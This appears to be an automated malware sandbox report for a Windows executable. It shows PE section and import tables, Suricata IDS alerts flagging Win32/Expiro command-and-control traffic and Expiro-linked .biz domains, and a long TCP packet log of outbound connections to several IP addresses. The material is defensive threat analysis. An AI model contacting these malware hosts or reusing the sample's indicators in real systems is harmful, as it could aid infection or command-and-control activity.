.data	0x43000	0x2d30	0x1400	a15d60cb6f4a7dd32962bf22c8c53080	False	0.185546875	DOS executable (block device driver)	3.3226574435307805	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x46000	0x2730	0x2800	ebb0138597d99d38a7ebc85086006fb3	False	0.477734375	data	5.403269679821755	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
_RDATA	0x49000	0x100	0x200	760133a696a79f53f02d7444438de109	False	0.21484375	data	1.693814625383593	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x4a000	0x7a6a60	0x7a6c00	44cbd256c1ebdf8ce7d8cbc33892411c	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7f1000	0x8f000	0x8e000	978d7ae0c459c4ffb0cc892a17f42c76	False	0.9835428587147887	data	7.936871527801768	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_RCDATA	0x4a220	0x7a04d8	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows	English	United States	0.44824695587158203
RT_ICON	0x7ea6f8	0x4d06	PNG image data, 512 x 512, 8-bit/color RGBA, non-interlaced	English	United States	0.9621665483314737
RT_ICON	0x7ef400	0x99a	PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced	English	United States	1.0044751830756713
RT_ICON	0x7efda0	0x4d5	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced	English	United States	1.0088924818108327
RT_ICON	0x7f0278	0x24f	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced	English	United States	1.0186125211505923
RT_GROUP_ICON	0x7f04c8	0x3e	data	English	United States	0.8064516129032258
RT_VERSION	0x7f0508	0x3cc	data	English	United States	0.43004115226337447
RT_MANIFEST	0x7f08d8	0x188	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5892857142857143

Imports

DLL	Import
KERNEL32.dll	SetDefaultDllDirectories, GetStdHandle, GetTempPathW, WaitForSingleObject, GetLastError, AttachConsole, LockResource, DeleteFileW, SizeofResource, LoadResource, FindResourceW, CreateProcessW, GetTempFileNameW, GetExitCodeProcess, WriteConsoleW, HeapSize, GetProcessHeap, SetStdHandle, CloseHandle, CreateDirectoryW, MultiByteToWideChar, LocalFree, FormatMessageA, CreateFileW, FindClose, FindFirstFileExW, FindNextFileW, GetFileAttributesExW, GetFileInformationByHandle, RemoveDirectoryW, SetEndOfFile, SetFilePointerEx, AreFileApisANSI, SetLastError, GetModuleHandleW, GetProcAddress, WideCharToMultiByte, GetStringTypeW, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, EncodePointer, DecodePointer, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetSystemTimeAsFileTime, LCMapStringW, GetLocaleInfoW, GetCPInfo, RtlCaptureContext, RtlLookupFunctionEntry, RtlVirtualUnwind, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, RtlUnwindEx, RtlPcToFileHeader, RaiseException, FreeLibrary, LoadLibraryExW, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, GetFileSizeEx, GetFileType, FlushFileBuffers, GetConsoleCP, GetConsoleMode, HeapFree, HeapAlloc, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, ReadFile, ReadConsoleW, HeapReAlloc, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, RtlUnwind
USER32.dll	TranslateMessage, MessageBoxW
ADVAPI32.dll	ConvertStringSecurityDescriptorToSecurityDescriptorW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T16:38:37.429343+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	54.244.188.177	80	192.168.2.8	49704	TCP
2024-10-28T16:38:37.429343+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	54.244.188.177	80	192.168.2.8	49704	TCP
2024-10-28T16:38:47.159411+0100	2051648	ET MALWARE DNS Query to Expiro Related Domain (przvgke .biz)	1	192.168.2.8	56656	1.1.1.1	53	UDP
2024-10-28T16:38:48.615342+0100	2051649	ET MALWARE DNS Query to Expiro Related Domain (knjghuig .biz)	1	192.168.2.8	61521	1.1.1.1	53	UDP
2024-10-28T16:39:14.826627+0100	2850851	ETPRO MALWARE Win32/Expiro.NDO CnC Activity	1	192.168.2.8	49727	47.129.31.212	80	TCP
2024-10-28T16:39:14.832463+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	47.129.31.212	80	192.168.2.8	49727	TCP
2024-10-28T16:39:14.832463+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	47.129.31.212	80	192.168.2.8	49727	TCP
2024-10-28T16:39:16.486899+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	13.251.16.150	80	192.168.2.8	49728	TCP
2024-10-28T16:39:16.486899+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	13.251.16.150	80	192.168.2.8	49728	TCP
2024-10-28T16:39:17.723983+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	44.221.84.105	80	192.168.2.8	49729	TCP
2024-10-28T16:39:17.723983+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	44.221.84.105	80	192.168.2.8	49729	TCP
2024-10-28T16:39:20.065763+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	18.141.10.107	80	192.168.2.8	49730	TCP
2024-10-28T16:39:20.065763+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	18.141.10.107	80	192.168.2.8	49730	TCP
2024-10-28T16:39:24.298416+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	34.246.200.160	80	192.168.2.8	49733	TCP
2024-10-28T16:39:24.298416+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	34.246.200.160	80	192.168.2.8	49733	TCP
2024-10-28T16:39:25.117990+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	18.208.156.248	80	192.168.2.8	49734	TCP
2024-10-28T16:39:25.117990+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	18.208.156.248	80	192.168.2.8	49734	TCP
2024-10-28T16:39:31.497175+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	35.164.78.200	80	192.168.2.8	49740	TCP
2024-10-28T16:39:31.497175+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	35.164.78.200	80	192.168.2.8	49740	TCP
2024-10-28T16:39:47.320464+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	18.246.231.120	80	192.168.2.8	49751	TCP
2024-10-28T16:39:47.320464+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	18.246.231.120	80	192.168.2.8	49751	TCP
2024-10-28T16:39:59.476219+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	34.211.97.45	80	192.168.2.8	49809	TCP
2024-10-28T16:39:59.476219+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	34.211.97.45	80	192.168.2.8	49809	TCP
2024-10-28T16:40:00.163650+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	3.94.10.34	80	192.168.2.8	49812	TCP
2024-10-28T16:40:00.163650+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	3.94.10.34	80	192.168.2.8	49812	TCP
2024-10-28T16:40:02.918959+0100	2018141	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value Snkz	1	3.254.94.185	80	192.168.2.8	49830	TCP
2024-10-28T16:40:02.918959+0100	2037771	ET MALWARE Possible Compromised Host AnubisNetworks Sinkhole Cookie Value btst	1	3.254.94.185	80	192.168.2.8	49830	TCP
2024-10-28T16:40:16.062937+0100	2850851	ETPRO MALWARE Win32/Expiro.NDO CnC Activity	1	192.168.2.8	49911	13.251.16.150	80	TCP
2024-10-28T16:40:22.523901+0100	2051651	ET MALWARE DNS Query to Expiro Domain (eufxebus .biz)	1	192.168.2.8	52750	1.1.1.1	53	UDP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 16:38:35.824198961 CET	49704	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:35.829725981 CET	80	49704	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:35.829879999 CET	49704	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:35.830209017 CET	49704	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:35.830209017 CET	49704	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:35.835813999 CET	80	49704	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:35.835832119 CET	80	49704	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:37.126113892 CET	49705	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:37.131683111 CET	80	49705	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:37.131748915 CET	49705	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:37.135360003 CET	49705	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:37.135376930 CET	49705	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:37.140726089 CET	80	49705	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:37.140741110 CET	80	49705	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:37.413528919 CET	80	49704	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:37.420202017 CET	49704	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:37.429342985 CET	80	49704	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:37.430032969 CET	49704	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:37.486241102 CET	49706	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:37.491547108 CET	80	49706	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:37.491769075 CET	49706	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:37.491769075 CET	49706	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:37.491769075 CET	49706	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:37.497106075 CET	80	49706	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:37.497129917 CET	80	49706	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:38.782232046 CET	80	49705	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:38.782814026 CET	49705	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:38.788765907 CET	80	49705	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:38.788836956 CET	49705	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:38.864950895 CET	49707	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:38.870747089 CET	80	49707	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:38.870851040 CET	49707	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:38.872967005 CET	49707	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:38.873039007 CET	49707	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:38.878529072 CET	80	49707	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:38.878571987 CET	80	49707	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:38.939748049 CET	80	49706	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:38.940007925 CET	49706	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:38.946079016 CET	80	49706	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:38.946805000 CET	49706	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:39.039855957 CET	49708	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:39.045593023 CET	80	49708	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:39.045677900 CET	49708	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:39.046585083 CET	49708	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:39.046627998 CET	49708	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:39.051899910 CET	80	49708	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:39.052867889 CET	80	49708	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:39.671708107 CET	49708	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:39.926714897 CET	49709	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:40.016443968 CET	80	49709	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:40.016525984 CET	49709	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:40.016866922 CET	49709	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:40.016885042 CET	49709	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:40.022910118 CET	80	49709	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:40.023302078 CET	80	49709	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:40.845979929 CET	80	49709	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:40.850917101 CET	49709	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:40.857017994 CET	80	49709	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:40.857083082 CET	49709	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:41.002624989 CET	49707	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:41.014904976 CET	49710	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:38:41.020733118 CET	80	49710	44.221.84.105	192.168.2.8
Oct 28, 2024 16:38:41.020823956 CET	49710	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:38:41.020981073 CET	49710	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:38:41.021035910 CET	49710	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:38:41.026305914 CET	80	49710	44.221.84.105	192.168.2.8
Oct 28, 2024 16:38:41.027398109 CET	80	49710	44.221.84.105	192.168.2.8
Oct 28, 2024 16:38:41.055994987 CET	49711	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:41.061610937 CET	80	49711	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:41.061930895 CET	49711	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:41.062151909 CET	49711	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:41.062170029 CET	49711	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:41.067445993 CET	80	49711	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:41.067545891 CET	80	49711	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:41.694946051 CET	80	49710	44.221.84.105	192.168.2.8
Oct 28, 2024 16:38:41.729756117 CET	80	49710	44.221.84.105	192.168.2.8
Oct 28, 2024 16:38:41.730047941 CET	49710	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:38:42.076683044 CET	49710	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:38:43.511528969 CET	80	49711	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:43.511790991 CET	49711	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:43.517847061 CET	80	49711	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:43.517915964 CET	49711	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:43.600011110 CET	49712	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:43.605407953 CET	80	49712	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:43.605523109 CET	49712	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:43.606270075 CET	49712	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:43.606288910 CET	49712	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:43.611622095 CET	80	49712	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:43.611648083 CET	80	49712	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:45.019248009 CET	49712	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:45.063708067 CET	49713	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:45.069258928 CET	80	49713	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:45.069355965 CET	49713	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:45.069500923 CET	49713	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:45.069544077 CET	49713	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:45.074959040 CET	80	49713	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:45.074995995 CET	80	49713	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:46.165695906 CET	80	49713	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:46.165832996 CET	49713	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:46.166523933 CET	80	49713	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:46.166534901 CET	80	49713	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:46.166577101 CET	49713	80	192.168.2.8	54.244.188.177
Oct 28, 2024 16:38:46.172348022 CET	80	49713	54.244.188.177	192.168.2.8
Oct 28, 2024 16:38:46.436048985 CET	49714	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:38:46.441498041 CET	80	49714	44.221.84.105	192.168.2.8
Oct 28, 2024 16:38:46.441560984 CET	49714	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:38:46.441744089 CET	49714	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:38:46.441766977 CET	49714	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:38:46.447088003 CET	80	49714	44.221.84.105	192.168.2.8
Oct 28, 2024 16:38:46.447561979 CET	80	49714	44.221.84.105	192.168.2.8
Oct 28, 2024 16:38:47.129409075 CET	80	49714	44.221.84.105	192.168.2.8
Oct 28, 2024 16:38:47.129606009 CET	49714	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:38:47.135678053 CET	80	49714	44.221.84.105	192.168.2.8
Oct 28, 2024 16:38:47.135857105 CET	49714	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:38:47.193434954 CET	49715	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:38:47.198925018 CET	80	49715	172.234.222.138	192.168.2.8
Oct 28, 2024 16:38:47.198990107 CET	49715	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:38:47.199130058 CET	49715	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:38:47.199150085 CET	49715	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:38:47.205872059 CET	80	49715	172.234.222.138	192.168.2.8
Oct 28, 2024 16:38:47.205881119 CET	80	49715	172.234.222.138	192.168.2.8
Oct 28, 2024 16:38:47.875010967 CET	80	49715	172.234.222.138	192.168.2.8
Oct 28, 2024 16:38:47.875242949 CET	49715	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:38:47.875339031 CET	49715	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:38:47.880708933 CET	80	49715	172.234.222.138	192.168.2.8
Oct 28, 2024 16:38:47.888271093 CET	49716	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:38:47.893724918 CET	80	49716	172.234.222.138	192.168.2.8
Oct 28, 2024 16:38:47.893800974 CET	49716	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:38:47.893929005 CET	49716	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:38:47.893942118 CET	49716	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:38:47.899425983 CET	80	49716	172.234.222.138	192.168.2.8
Oct 28, 2024 16:38:47.899669886 CET	80	49716	172.234.222.138	192.168.2.8
Oct 28, 2024 16:38:48.593904018 CET	80	49716	172.234.222.138	192.168.2.8
Oct 28, 2024 16:38:48.593971014 CET	49716	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:38:48.594031096 CET	49716	80	192.168.2.8	172.234.222.138
Oct 28, 2024 16:38:48.599567890 CET	80	49716	172.234.222.138	192.168.2.8
Oct 28, 2024 16:38:48.673322916 CET	49719	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:48.679220915 CET	80	49719	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:48.679311037 CET	49719	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:48.679420948 CET	49719	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:48.679442883 CET	49719	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:48.684802055 CET	80	49719	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:48.685031891 CET	80	49719	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:49.002341032 CET	49719	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:49.062107086 CET	49720	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:49.068483114 CET	80	49720	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:49.068579912 CET	49720	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:49.068749905 CET	49720	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:49.068800926 CET	49720	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:49.075162888 CET	80	49720	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:49.075207949 CET	80	49720	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:50.509085894 CET	80	49720	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:50.514386892 CET	49720	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:50.520394087 CET	80	49720	18.141.10.107	192.168.2.8
Oct 28, 2024 16:38:50.520452023 CET	49720	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:38:50.604612112 CET	49722	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:38:50.609966993 CET	80	49722	82.112.184.197	192.168.2.8
Oct 28, 2024 16:38:50.610044003 CET	49722	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:38:50.610289097 CET	49722	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:38:50.610371113 CET	49722	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:38:50.615669966 CET	80	49722	82.112.184.197	192.168.2.8
Oct 28, 2024 16:38:50.615685940 CET	80	49722	82.112.184.197	192.168.2.8
Oct 28, 2024 16:38:53.002494097 CET	49722	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:38:53.111264944 CET	49724	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:38:53.116817951 CET	80	49724	82.112.184.197	192.168.2.8
Oct 28, 2024 16:38:53.116884947 CET	49724	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:38:53.117002964 CET	49724	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:38:53.117013931 CET	49724	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:38:53.122497082 CET	80	49724	82.112.184.197	192.168.2.8
Oct 28, 2024 16:38:53.123234987 CET	80	49724	82.112.184.197	192.168.2.8
Oct 28, 2024 16:39:01.589951038 CET	80	49724	82.112.184.197	192.168.2.8
Oct 28, 2024 16:39:01.590015888 CET	49724	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:39:01.590070009 CET	49724	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:39:01.595424891 CET	80	49724	82.112.184.197	192.168.2.8
Oct 28, 2024 16:39:01.694775105 CET	49725	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:39:01.984031916 CET	80	49725	82.112.184.197	192.168.2.8
Oct 28, 2024 16:39:01.984368086 CET	49725	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:39:01.989535093 CET	49725	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:39:01.993676901 CET	49725	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:39:01.994935989 CET	80	49725	82.112.184.197	192.168.2.8
Oct 28, 2024 16:39:01.999114037 CET	80	49725	82.112.184.197	192.168.2.8
Oct 28, 2024 16:39:10.468080044 CET	80	49725	82.112.184.197	192.168.2.8
Oct 28, 2024 16:39:10.468209028 CET	49725	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:39:10.485131979 CET	49725	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:39:10.490515947 CET	80	49725	82.112.184.197	192.168.2.8
Oct 28, 2024 16:39:10.638448954 CET	49726	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:39:10.644036055 CET	80	49726	82.112.184.197	192.168.2.8
Oct 28, 2024 16:39:10.644125938 CET	49726	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:39:10.644294024 CET	49726	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:39:10.644337893 CET	49726	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:39:10.649844885 CET	80	49726	82.112.184.197	192.168.2.8
Oct 28, 2024 16:39:10.650120974 CET	80	49726	82.112.184.197	192.168.2.8
Oct 28, 2024 16:39:13.004110098 CET	49726	80	192.168.2.8	82.112.184.197
Oct 28, 2024 16:39:13.355407000 CET	49727	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:39:13.361228943 CET	80	49727	47.129.31.212	192.168.2.8
Oct 28, 2024 16:39:13.361335039 CET	49727	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:39:13.366455078 CET	49727	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:39:13.366478920 CET	49727	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:39:13.372070074 CET	80	49727	47.129.31.212	192.168.2.8
Oct 28, 2024 16:39:13.372380018 CET	80	49727	47.129.31.212	192.168.2.8
Oct 28, 2024 16:39:14.826435089 CET	80	49727	47.129.31.212	192.168.2.8
Oct 28, 2024 16:39:14.826627016 CET	49727	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:39:14.832463026 CET	80	49727	47.129.31.212	192.168.2.8
Oct 28, 2024 16:39:14.833412886 CET	49727	80	192.168.2.8	47.129.31.212
Oct 28, 2024 16:39:15.032427073 CET	49728	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:15.037992001 CET	80	49728	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:15.038077116 CET	49728	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:15.038228989 CET	49728	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:15.038247108 CET	49728	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:15.043533087 CET	80	49728	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:15.043550968 CET	80	49728	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:16.480386019 CET	80	49728	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:16.481067896 CET	49728	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:16.486898899 CET	80	49728	13.251.16.150	192.168.2.8
Oct 28, 2024 16:39:16.486954927 CET	49728	80	192.168.2.8	13.251.16.150
Oct 28, 2024 16:39:17.040920973 CET	49729	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:39:17.046385050 CET	80	49729	44.221.84.105	192.168.2.8
Oct 28, 2024 16:39:17.046462059 CET	49729	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:39:17.046762943 CET	49729	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:39:17.046793938 CET	49729	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:39:17.052314997 CET	80	49729	44.221.84.105	192.168.2.8
Oct 28, 2024 16:39:17.052784920 CET	80	49729	44.221.84.105	192.168.2.8
Oct 28, 2024 16:39:17.717715025 CET	80	49729	44.221.84.105	192.168.2.8
Oct 28, 2024 16:39:17.717925072 CET	49729	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:39:17.723983049 CET	80	49729	44.221.84.105	192.168.2.8
Oct 28, 2024 16:39:17.724134922 CET	49729	80	192.168.2.8	44.221.84.105
Oct 28, 2024 16:39:17.933362961 CET	49730	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:39:17.939114094 CET	80	49730	18.141.10.107	192.168.2.8
Oct 28, 2024 16:39:17.939210892 CET	49730	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:39:17.939369917 CET	49730	80	192.168.2.8	18.141.10.107
Oct 28, 2024 16:39:17.939369917 CET	49730	80	192.168.2.8	18.141.10.107
